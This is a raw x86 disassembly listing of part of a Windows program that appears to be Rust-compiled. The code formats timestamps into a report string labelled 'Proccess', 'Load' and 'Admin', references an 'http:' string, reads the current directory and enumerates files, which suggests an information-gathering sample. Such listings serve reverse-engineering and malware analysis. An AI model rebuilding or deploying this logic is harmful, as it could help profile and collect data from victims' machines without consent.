xor ecx, dword [eax + 0x10]
movzx eax, word [eax + 0x14]
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x5d0], 0
mov dword [esp + 0x5d4], 1
mov dword [esp + 0x80c], 0
mov dword [esp + 0x800], 0x20
mov byte [esp + 0x810], 3
mov dword [esp + 0x7f0], 0
mov dword [esp + 0x5d8], 0
mov dword [esp + 0x7f8], 0
mov dword [esp + 0x180], ebx
mov ebx, dword [esp + 0x30]
xor al, 9
xor ah, 0x8c
mov dword [esp + 0x184], ebx
mov dword [esp + 0x188], esi
mov dword [esp + 0x18c], edx
mov dword [esp + 0x190], ecx
lea esi, [esp + 0x5d0]
lea ecx, [esp + 0x7f0]
mov byte [esp + 0x194], al
mov byte [esp + 0x195], ah
lea eax, [esp + 0x80]
mov dword [esp + 0x804], esi
mov dword [esp + 0x808], 0x4e78e0
push ecx
push eax
call fcn.00485e00
add esp, 8
test al, al
jne 0x40d734
mov eax, dword [esp + 0x5d0]
mov ebx, dword [esp + 0x5d4]
lea edx, [esp + 0x180]
mov ecx, esi
mov dword [esp + 0x10], eax
push dword [esp + 0x5d8]
push ebx
push 2
push 0x71b6ac
push 0x16
call fcn.004050f0
add esp, 0x14
lea ecx, [esp + 0x7f0]
lea eax, [esp + 0xa8]
mov dword [esp + 0xa8], esi
mov dword [esp + 0x7f0], 0x71b6b0
mov dword [esp + 0x7f4], 2
mov dword [esp + 0x800], 0
mov dword [esp + 0xac], 0x4068d0
mov dword [esp + 0x7f8], eax
mov dword [esp + 0x7fc], 1
call fcn.004863c0
cmp dword [esp + 0x5d0], 0
je 0x40e975
push dword [esp + 0x5d4]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x10], 0
je 0x40e98b
push ebx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [esp + 0x80], 3
jne 0x40e9e2
mov esi, dword [esp + 0x84]
mov ebx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x40e9b5
push ecx
mov dword [esp + 0x14], ecx
call eax
mov ecx, dword [esp + 0x14]
add esp, 4
cmp dword [ebx + 4], 0
je 0x40e9d3
cmp dword [ebx + 8], 9
jb 0x40e9c4
mov ecx, dword [ecx - 4]
push ecx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0xc], 0
je 0x40ea53
push edi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40ea53
mov ebx, dword [esp + 0x7f0]
mov esi, dword [esp + 0x7f4]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x30], ebx
shrd ebx, esi, 8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x30]
mov ecx, esi
test eax, eax
je 0x40ea4e
push edi
push 0
push dword [0x776180]
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, edi
mov ecx, esi
cmp dl, 4
jne 0x40ea7c
mov ebx, dword [esp + 0x44]
test ebx, ebx
js 0x40d734
je 0x40eaa3
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, ebx
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x40eaa8
jmp 0x40d734
mov eax, dword [esp + 0x2c]
mov byte [eax], dl
mov word [eax + 1], bx
shr ebx, 0x10
mov byte [eax + 3], bl
mov dword [eax + 4], ecx
jmp 0x40fabf
mov eax, dword [esp + 0xc]
mov ebx, edx
shr ebx, 8
test eax, eax
jne 0x40ea37
jmp 0x40ea4e
mov esi, 1
push ebx
push dword [esp + 0x50]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, dword [esp + 0x60]
cmp edi, dword [esp + 0x58]
jne 0x40eac9
lea ecx, [esp + 0x58]
call fcn.004a44e0
mov ecx, dword [esp + 0x5c]
movzx edx, byte [esp + 0x50]
mov eax, edi
inc edi
shl eax, 4
mov dword [ecx + eax], ebx
mov dword [ecx + eax + 4], esi
mov dword [ecx + eax + 8], ebx
mov byte [ecx + eax + 0xc], dl
mov eax, dword [esp + 0x18]
mov dword [esp + 0x108], 0x71b6e3
mov dword [esp + 0x7f0], 0
mov dword [esp + 0x60], edi
mov dword [esp + 0x10c], 0xe
mov dword [esp + 0x7f4], 0
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xd0], eax
lea eax, [esp + 0x7f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimePreciseAsFileTime]
mov edx, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x7f4]
mov eax, 0xd53e8000
mov ebx, 0x19db1de
sub eax, edx
mov esi, edx
mov edi, ecx
sbb ebx, ecx
add esi, 0x2ac18000
adc edi, 0xfe624e21
cmp edx, 0xd53e8000
sbb ecx, 0x19db1de
cmovl edi, ebx
cmovl esi, eax
setl bl
push 0
push 0x989680
push edi
push esi
call fcn.004e21b0
test bl, bl
jne 0x40d734
push 0
push 0x15180
push edx
mov dword [esp + 0x24], eax
push eax
call fcn.004e2250
mov dword [esp + 0x10], eax
push 0xc9
push 0x2a69c000
push edi
push esi
call fcn.004e21b0
mov edi, eax
mov ecx, 0xe5ac1b
add edi, 0xafaa8
mov eax, edi
mul ecx
mov ecx, edx
mov edx, 0xb38cfa
shr ecx, 9
imul eax, ecx, 0x23ab1
sub edi, eax
mov eax, edi
mul edx
movzx ebx, byte [edx + 0x71be4c]
imul eax, edx, 0x16d
sub edi, eax
mov eax, edi
sub eax, ebx
jae 0x40ec15
dec edx
cmp edx, 0x190
ja 0x40d734
movzx eax, byte [edx + 0x71be4c]
sub edi, eax
add edi, 0x16d
mov eax, edi
jmp 0x40ec21
cmp edx, 0x18f
ja 0x40d734
cmp eax, 0x16d
ja 0x40d734
imul ecx, ecx, 0x190
movzx edi, byte [edx + 0x71bcbc]
shl eax, 4
add ecx, edx
shl ecx, 0xd
lea eax, [eax + ecx + 0x10]
or edi, eax
mov ecx, edi
and ecx, 0x1ff8
cmp ecx, 0x16e1
mov dword [esp + 0x28], ecx
jae 0x40d734
mov ebx, eax
mov ecx, 0x786b
shr ebx, 0xd
cmp ebx, 0x786b
cmovb ecx, ebx
cmp eax, 0xc82000
mov eax, 0x641
cmovae eax, ecx
lea ecx, [esp + 0x7f0]
movzx eax, ax
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformationForYear]
test eax, eax
je 0x40d734
movsd xmm1, qword [esp + 0x83c]
mov eax, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x844]
movq xmm0, qword [esp + 0x834]
movq xmm2, qword [esp + 0x888]
movsd qword [esp + 0x3a8], xmm1
movq xmm1, qword [esp + 0x890]
add ecx, eax
movq qword [esp + 0x3a0], xmm0
movq qword [esp + 0x180], xmm2
movq qword [esp + 0x188], xmm1
jo 0x40d734
imul edx, ecx, 0x3c
jo 0x40d734
lea ecx, [edx + 0x1517f]
cmp ecx, 0x2a2fe
ja 0x40d734
add eax, dword [esp + 0x898]
jo 0x40d734
imul ecx, eax, 0x3c
jo 0x40d734
lea eax, [ecx + 0x1517f]
cmp eax, 0x2a2fe
ja 0x40d734
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x30], edi
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x3a0]
push ebx
call fcn.00412d10
add esp, 4
cmp dword [esp + 0x7f0], 1
je 0x40d734
mov eax, ebx
mov ecx, dword [esp + 0x7fc]
mov ebx, dword [esp + 0x7f4]
mov edi, dword [esp + 0x7f8]
lea edx, [esp + 0x180]
mov dword [esp + 0x130], eax
mov dword [esp + 0x68], ecx
lea ecx, [esp + 0x7f0]
push eax
call fcn.00412d10
add esp, 4
cmp dword [esp + 0x7f0], 1
je 0x40d734
imul eax, dword [esp + 0x18], 0x989680
mov edx, dword [esp + 0x7f4]
mov ecx, dword [esp + 0x7f8]
neg dword [esp + 0xc]
neg dword [esp + 0x1c]
sub esi, eax
imul eax, esi, 0x64
test ebx, ebx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x7fc]
je 0x40ef03
mov esi, dword [esp + 0x10]
test edx, edx
je 0x40efe3
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], edi
mov edi, dword [esp + 0x68]
mov dword [esp + 0x80], edx
mov dword [esp + 0x84], ecx
lea ecx, [esp + 0x180]
lea edx, [esp + 0xd8]
mov dword [esp + 0x88], eax
mov dword [esp + 0xe0], edi
push dword [esp + 0x1c]
call fcn.00412b90
add esp, 4
mov ebx, dword [esp + 0xc]
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x80]
push ebx
call fcn.00412b90
add esp, 4
mov eax, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x180]
cmp eax, ecx
setl dl
jne 0x40ef74
mov edx, dword [esp + 0x7f4]
cmp edx, dword [esp + 0x184]
setb dl
jne 0x40ef74
mov edx, dword [esp + 0x7f8]
mov edi, dword [esp + 0x30]
cmp edx, dword [esp + 0x188]
jb 0x40ef80
xor edx, edx
cmp edi, ecx
mov ecx, 0xff
setne dl
cmovl edx, ecx
test dl, dl
jne 0x40eeca
xor edx, edx
cmp dword [esp + 0x184], esi
setne dl
cmova edx, ecx
test dl, dl
je 0x40f094
cmp dl, 1
mov edx, dword [esp + 0x14]
ja 0x40f0a9
cmp edi, eax
jne 0x40f078
mov ecx, dword [esp + 0x18]
xor eax, eax
cmp ecx, dword [esp + 0x7f8]
setb al
xor ecx, ecx
cmp dword [esp + 0x7f4], esi
seta cl
cmovne eax, ecx
jmp 0x40f07b
mov esi, dword [esp + 0x10]
test edx, edx
je 0x40f044
mov ebx, dword [esp + 0xc]
mov dword [esp + 0x5d0], edx
mov dword [esp + 0x5d4], ecx
mov dword [esp + 0x5d8], eax
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x5d0]
push ebx
call fcn.00412b90
add esp, 4
mov edi, dword [esp + 0x30]
cmp edi, dword [esp + 0x7f0]
jne 0x40f052
mov ecx, dword [esp + 0x18]
xor eax, eax
cmp ecx, dword [esp + 0x7f8]
setb al
xor ecx, ecx
cmp dword [esp + 0x7f4], esi
seta cl
cmovne eax, ecx
jmp 0x40f055
mov edi, dword [esp + 0x30]
test dl, dl
je 0x40eea0
xor edx, edx
cmp edi, eax
mov eax, 0xff
setne dl
cmovl edx, eax
test dl, dl
jne 0x40efaa
xor edx, edx
cmp dword [esp + 0x7f4], esi
setne dl
cmova edx, eax
test dl, dl
je 0x40f0af
cmp dl, 1
mov edx, dword [esp + 0x14]
ja 0x40f0c4
cmp edi, ecx
jne 0x40f086
mov ecx, dword [esp + 0x18]
xor eax, eax
cmp ecx, dword [esp + 0x188]
setb al
xor ecx, ecx
cmp dword [esp + 0x184], esi
seta cl
cmovne eax, ecx
jmp 0x40f089
mov eax, dword [esp + 0x68]
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], edi
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0xa8]
mov dword [esp + 0xb0], eax
push dword [esp + 0x1c]
call fcn.00412b90
add esp, 4
mov edi, dword [esp + 0x30]
cmp edi, dword [esp + 0x7f0]
jne 0x40f064
mov ecx, dword [esp + 0x18]
xor eax, eax
cmp ecx, dword [esp + 0x7f8]
setb al
xor ecx, ecx
cmp dword [esp + 0x7f4], esi
seta cl
cmovne eax, ecx
jmp 0x40f067
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x30]
mov ebx, dword [esp + 0xc]
jmp 0x40f0c8
setl al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
test al, al
cmove ebx, ecx
jmp 0x40f0c8
setl al
mov ebx, dword [esp + 0xc]
test al, al
mov edx, dword [esp + 0x14]
cmovne ebx, dword [esp + 0x1c]
jmp 0x40f0c8
setl al
mov ecx, dword [esp + 0x1c]
test al, al
cmovne ecx, ebx
jmp 0x40f0c6
setl al
mov ecx, dword [esp + 0x1c]
test al, al
cmove ecx, ebx
jmp 0x40f0c6
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x188]
jae 0x40eed7
mov ecx, dword [esp + 0x1c]
jmp 0x40f0c6
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
cmp eax, dword [esp + 0x7f8]
jae 0x40efb7
mov ecx, ebx
mov ebx, ecx
mov eax, 0x4e7e5a
mov ecx, str._Y__m__d__H:_M:_S__Proccess:__nLoad:__nAdmin:
test dl, dl
cmovne ecx, eax
xor dl, 1
add esi, ebx
movzx eax, dl
mov dword [esp + 0xa8], ecx
mov ecx, 0xc22e4507
lea eax, [eax + eax + 4]
mov dword [esp + 0xac], eax
mov eax, esi
imul ecx
add edx, esi
mov eax, edx
sar edx, 0x10
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x15180
sub esi, eax
mov eax, esi
mov dword [esp + 0x10], esi
sar eax, 0x1f
add edx, eax
mov dword [esp + 0x1c], eax
cmp edx, 1
je 0x40f142
cmp edx, 0xffffffff
jne 0x40f1e4
mov eax, edi
and eax, 0x1ff0
cmp eax, 0x10
jbe 0x40f161
add eax, 0xfffffff0
and edi, 0x7fffe00f
jmp 0x40f156
mov eax, dword [esp + 0x28]
cmp eax, 0x16d1
jae 0x40f1ac
add eax, 0x10
and edi, 0x7fffe007
or edi, eax
mov dword [esp + 0x30], edi
jmp 0x40f1e4
mov edi, dword [esp + 0x130]
mov ecx, 0x51eb851f
dec edi
mov eax, edi
mul ecx
mov ecx, edi
shr edx, 7
imul eax, edx, 0x190
sub ecx, eax
movzx ecx, byte [ecx + 0x71bcbc]
or ecx, 0x19f0
mov eax, ecx
shr eax, 3
movsx eax, byte [eax + 0x71b97c]
test eax, eax
je 0x40f1dc
shl eax, 3
shl edi, 0xd
sub ecx, eax
or ecx, edi
mov dword [esp + 0x30], ecx
jmp 0x40f1e4
mov esi, dword [esp + 0x130]
mov ecx, 0xa3d70b
inc esi
mov eax, esi
mul ecx
mov ecx, esi
shl esi, 0xd
imul eax, edx, 0x190
sub ecx, eax
movzx eax, byte [ecx + 0x71bcbc]
or esi, eax
or esi, 0x10
mov dword [esp + 0x30], esi
jmp 0x40f1e4
mov dword [esp + 0x30], 0x800016e7
mov eax, ebx
mov ecx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x5d0], 0
mov dword [esp + 0x5d4], 1
mov dword [esp + 0x5d8], 0
shr eax, 0x1f
neg ecx
lea eax, [eax + eax + 0x2b]
cmovs ecx, ebx
mov ebx, 0x88888889
mov dword [esp + 0x178], eax
mov eax, ecx
imul ebx
add edx, ecx
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub ecx, eax
mov esi, ecx
sar esi, 0x1f
mov edi, esi
add esi, edx
mov eax, esi
and edi, 0x3c
imul ebx
add edx, esi
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub esi, eax
mov ebx, esi
sar ebx, 0x1f
mov eax, ebx
add ebx, edx
and eax, 0x3c
mov dword [esp + 0x80], ebx
add eax, esi
add edi, ecx
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x178]
mov dword [esp + 0x17c], edi
je 0x40f403
movdqa xmm0, xmmword [0x4e7340]
movdqa xmm2, xmmword [0x4e7350]
movdqa xmm1, xmmword [0x4e7360]
mov dword [esp + 0x180], eax
lea eax, [esp + 0x80]
mov dword [esp + 0x184], 0x4172c0
lea edi, [esp + 0x7f0]
lea esi, [esp + 0x180]
mov dword [esp + 0x7f0], 2
mov dword [esp + 0x7f8], 2
mov dword [esp + 0x800], 0x20
mov dword [esp + 0x804], 0
mov dword [esp + 0x808], 0
mov byte [esp + 0x80c], 3
mov dword [esp + 0x810], 2
mov dword [esp + 0x3a0], 0x71bff8
mov dword [esp + 0x3a4], 4
mov dword [esp + 0x188], eax
lea eax, [esp + 0xd8]
mov dword [esp + 0x18c], 0x417f80
mov dword [esp + 0x3b0], edi
mov dword [esp + 0x3b4], 4
mov dword [esp + 0x3a8], esi
mov dword [esp + 0x3ac], 4
mov dword [esp + 0x190], eax
lea eax, [esp + 0x17c]
mov dword [esp + 0x194], 0x417f80
mov dword [esp + 0x198], eax
mov dword [esp + 0x19c], 0x417f80
movdqu xmmword [esp + 0x818], xmm0
mov dword [esp + 0x828], 8
mov byte [esp + 0x82c], 3
mov dword [esp + 0x830], 2
movdqu xmmword [esp + 0x838], xmm2
mov dword [esp + 0x848], 8
mov byte [esp + 0x84c], 3
mov dword [esp + 0x850], 2
movdqu xmmword [esp + 0x858], xmm1
mov dword [esp + 0x868], 8
mov byte [esp + 0x86c], 3
jmp 0x40f52c
movdqa xmm0, xmmword [0x4e7340]
movdqa xmm1, xmmword [0x4e7350]
mov dword [esp + 0x180], eax
lea eax, [esp + 0x80]
mov dword [esp + 0x184], 0x4172c0
lea edi, [esp + 0x7f0]
lea esi, [esp + 0x180]
mov dword [esp + 0x7f0], 2
mov dword [esp + 0x7f8], 2
mov dword [esp + 0x800], 0x20
mov dword [esp + 0x804], 0
mov dword [esp + 0x808], 0
mov byte [esp + 0x80c], 3
mov dword [esp + 0x810], 2
mov dword [esp + 0x3a0], 0x71bfe0
mov dword [esp + 0x3a4], 3
mov dword [esp + 0x188], eax
lea eax, [esp + 0xd8]
mov dword [esp + 0x18c], 0x417f80
mov dword [esp + 0x3b0], edi
mov dword [esp + 0x3b4], 3
mov dword [esp + 0x3a8], esi
mov dword [esp + 0x3ac], 3
mov dword [esp + 0x190], eax
mov dword [esp + 0x194], 0x417f80
movdqu xmmword [esp + 0x818], xmm0
mov dword [esp + 0x828], 8
mov byte [esp + 0x82c], 3
mov dword [esp + 0x830], 2
movdqu xmmword [esp + 0x838], xmm1
mov dword [esp + 0x848], 8
mov byte [esp + 0x84c], 3
lea ecx, [esp + 0x5d0]
lea eax, [esp + 0x3a0]
mov edx, 0x4e78e0
push eax
call fcn.00413830
add esp, 4
mov ecx, dword [esp + 0x30]
test al, al
jne 0x40d734
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x5d8]
movq xmm2, qword [esp + 0x5d0]
movd xmm1, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x180], edi
mov dword [esp + 0x184], 0x408e30
mov dword [esp + str.__:0xhttp:____], 0x4e7e8c
mov dword [esp + 0x3a4], 4
mov dword [esp + 0x3b0], 0
mov dword [esp + 0x3a8], esi
mov dword [esp + 0x3ac], 4
and eax, 0x15180
mov dword [esp + 0x804], ebx
movq qword [esp + 0x7fc], xmm2
mov dword [esp + 0x81c], ecx
lea ecx, [esp + 0xcc]
mov dword [esp + 0x7f0], 1
add eax, dword [esp + 0x10]
mov dword [esp + 0x188], ecx
lea ecx, [esp + 0xa8]
mov dword [esp + 0x18c], 0x498340
movd xmm0, eax
punpckldq xmm0, xmm1
movq qword [esp + 0x7f4], xmm0
mov dword [esp + 0x808], edx
lea edx, [esp + 0x108]
mov dword [esp + 0x80c], 0x4e7e5e
mov dword [esp + 0x810], 0x11
mov dword [esp + 0x814], 4
mov dword [esp + 0x818], 0
mov dword [esp + 0x190], edx
mov dword [esp + 0x194], 0x498340
mov dword [esp + 0x198], ecx
lea ecx, [esp + 0x148]
lea edx, [esp + 0x3a0]
mov dword [esp + 0x19c], 0x498340
call fcn.00412300
test dword [esp + 0x7fc], 0x7fffffff
je 0x40f6a6
push dword [esp + 0x800]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x14c]
mov edi, dword [esp + 0x148]
lea ecx, [esp + 0x7f0]
mov edx, esi
push dword [esp + 0x150]
call fcn.0040ca90
add esp, 4
cmp byte [esp + 0x7f0], 4
jne 0x40f6eb
test edi, edi
je 0x40f719
push esi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40f719
mov ebx, dword [esp + 0x7f0]
mov edx, dword [esp + 0x7f4]
test edi, edi
je 0x40f710
push esi
push 0
push dword [0x776180]
mov esi, edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, esi
cmp bl, 4
jne 0x40fa4b
mov ebx, 0x200
mov dword [esp + 0x3a0], 0
mov dword [esp + 0x3a4], 2
mov dword [esp + 0x3a8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x30], 2
cmp ebx, 0x201
jb 0x40f76e
jmp 0x40f790
jbe 0x40f829
cmp ebx, 0x201
jae 0x40f790
mov dword [esp + 0x10], 0x200
lea esi, [esp + 0x7f0]
mov edi, ebx
jmp 0x40f7ab
mov edi, dword [esp + 0xc]
sub ebx, edi
jne 0x40f7fc
mov esi, dword [esp + 0x30]
mov dword [esp + 0x3a8], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ebx, eax
test eax, eax
jne 0x40f7cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40fa18
cmp ebx, edi
jne 0x40f760
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40d734
lea ebx, [edi + edi]
test edi, edi
mov eax, 0xffffffff
cmovs ebx, eax
cmp ebx, 0x201
jae 0x40f790
jmp 0x40f76e
lea ecx, [esp + 0x3a0]
mov edx, edi
push 2
push 2
push ebx
call fcn.004e6420
add esp, 0xc
mov eax, dword [esp + 0x3a4]
mov edi, dword [esp + 0x3a0]
mov dword [esp + 0x30], eax
jmp 0x40f798
cmp ebx, dword [esp + 0x10]
ja 0x40d734
lea ecx, [esp + 0x180]
mov edx, esi
push ebx
call fcn.00481800
add esp, 4
cmp dword [esp + 0x3a0], 0
je 0x40f864
push dword [esp + 0x3a4]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x180]
mov edx, dword [esp + 0x184]
mov esi, dword [esp + 0x188]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x68], eax
neg eax
mov eax, dword [esp + 0x2c]
jno 0x40f893
mov dword [eax], edx
mov dword [eax + 4], esi
jmp 0x40fac3
test esi, esi
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 4
mov dword [esp + 0xd4], 0
mov dword [esp + 0x1c], edx
je 0x40fa6b
js 0x40d734
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, esi
call fcn.00490be0
test eax, eax
je 0x40d734
push esi
mov ebx, dword [esp + 0x20]
push ebx
mov dword [esp + 0x18], eax
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, esi
call fcn.00490be0
test eax, eax
je 0x40d734
mov edi, eax
push esi
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x7f0], esi
mov dword [esp + 0x7f4], edi
mov dword [esp + 0x7f8], esi
mov byte [esp + 0x7fc], 0
lea ecx, [esp + 0x7f0]
mov edx, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
push 1
call fcn.00483dd0
add esp, 4
mov eax, dword [esp + 0x7f0]
mov edx, dword [esp + 0x7f4]
lea ecx, [esp + 0x5d0]
mov dword [esp + 0x30], eax
mov dword [esp + 0x18], edx
push dword [esp + 0x7f8]
call fcn.004827e0
add esp, 4
mov eax, dword [esp + 0x5d0]
mov ebx, dword [esp + 0x5d4]
mov edi, dword [esp + 0x5d8]
mov ecx, eax
neg ecx
jo 0x40f9de
mov dword [esp + 0x7f0], eax
mov dword [esp + 0x7f8], edi
lea edi, [esp + 0x7f0]
lea ecx, [esp + 0xa8]
mov dword [esp + 0x7f4], ebx
mov edx, edi
push 1
call fcn.00483890
add esp, 4
mov ecx, dword [esp + 0xa8]
mov eax, ecx
neg eax
jno 0x40fba4
mov ebx, dword [esp + 0xac]
mov edi, dword [esp + 0xb0]
mov esi, ebx
shr esi, 8
cmp dword [esp + 0x30], 0
je 0x40f9fc
push dword [esp + 0x18]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x10]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
jmp 0x40fa72
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [esp + 0x184], 0
mov dword [esp + 0x188], eax
mov dword [esp + 0x180], 0x80000000
cmp dword [esp + 0x3a0], 0
jne 0x40f84f
jmp 0x40f864
mov esi, dword [esp + 0x2c]
mov eax, edx
mov ecx, ebx
shr eax, 8
shrd ecx, edx, 8
mov byte [esi], bl
mov word [esi + 5], ax
shr eax, 0x10
mov dword [esi + 1], ecx
mov byte [esi + 7], al
jmp 0x40fabf
mov edi, 3
xor ebx, ebx
shl esi, 8
movzx ebx, bl
mov eax, 4
or ebx, esi
cmp dword [esp + 0xcc], 0
je 0x40faa0
push eax
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
mov dword [eax], ebx
mov dword [eax + 4], edi
cmp dword [esp + 0x68], 0
je 0x40fac3
push edx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0x54], 0
je 0x40fae0
push dword [esp + 0x4c]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x20]
test ecx, 0x7fffffff
jne 0x40e47f
cmp dword [esp + 0x124], 0
je 0x40fb08
push dword [esp + 0x7c]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x60]
mov eax, dword [esp + 0x5c]
test edi, edi
mov dword [esp + 0xc], eax
je 0x40fb4a
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
lea ebx, [eax + 4]
jmp 0x40fb36
add ebx, 0x10
dec edi
je 0x40fb4a
cmp dword [ebx - 4], 0
je 0x40fb30
push dword [ebx]
push 0
push dword [0x776180]
call esi
jmp 0x40fb30
cmp dword [esp + 0x58], 0
je 0x40fb63
push dword [esp + 0xc]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x128], 0
mov esi, dword [esp + 0x48]
je 0x40fb83
push dword [esp + 0x78]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x12c], 0
je 0x40fb9c
push esi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esp + 0xac]
mov dword [esp + 0x14], ecx
push 0x250
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
mov dword [esp + 0x2c], ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
je 0x4103f0
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, 0x18
call fcn.00490be0
test eax, eax
je 0x40d734
mov ecx, dword [esp + 0x10]
mov dword [eax], 1
mov dword [eax + 4], 1
mov dword [eax + 8], esi
mov ebx, eax
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], esi
mov byte [eax + 0x14], 0
mov eax, dword [esp + 0x7f0]
movsd xmm2, qword [esp + 0x800]
movsd xmm1, qword [esp + 0x808]
movsd xmm0, qword [esp + 0x7f8]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x7f4]
movsd qword [esp + 0x3a8], xmm2
movsd qword [esp + 0x3b0], xmm1
movq xmm2, qword [esp + 0x810]
movd xmm1, dword [esp + 0x81c]
movsd qword [esp + 0x3a0], xmm0
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x818]
movq qword [esp + 0x3b8], xmm2
movdqa xmmword [esp + 0x5c0], xmm1
mov dword [esp + 0x3c0], eax
movzx eax, word [esp + 0x820]
mov word [esp + 0xa6], ax
lea eax, [esp + 0x822]
push 0x21e
push eax
lea eax, [esp + 0x188]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x40fcdd
push dword [esp + 0x28]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x100]
mov esi, 1
shr eax, 8
cmp dword [esp + 0x30], 0
mov dword [esp + 0x170], eax
je 0x40fd0c
push dword [esp + 0x18]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm1, qword [esp + 0x3a8]
movsd xmm0, qword [esp + 0x3a0]
movq xmm2, qword [esp + 0x3b0]
mov eax, dword [esp + 0x3c0]
movsd qword [esp + 0x150], xmm1
movq xmm1, qword [esp + 0x3b8]
movsd qword [esp + 0x148], xmm0
movq qword [esp + 0x158], xmm2
mov dword [esp + 0x168], eax
movq qword [esp + 0x160], xmm1
push 0x21e
lea edi, [esp + 0x184]
push edi
lea eax, [esp + 0x5d8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
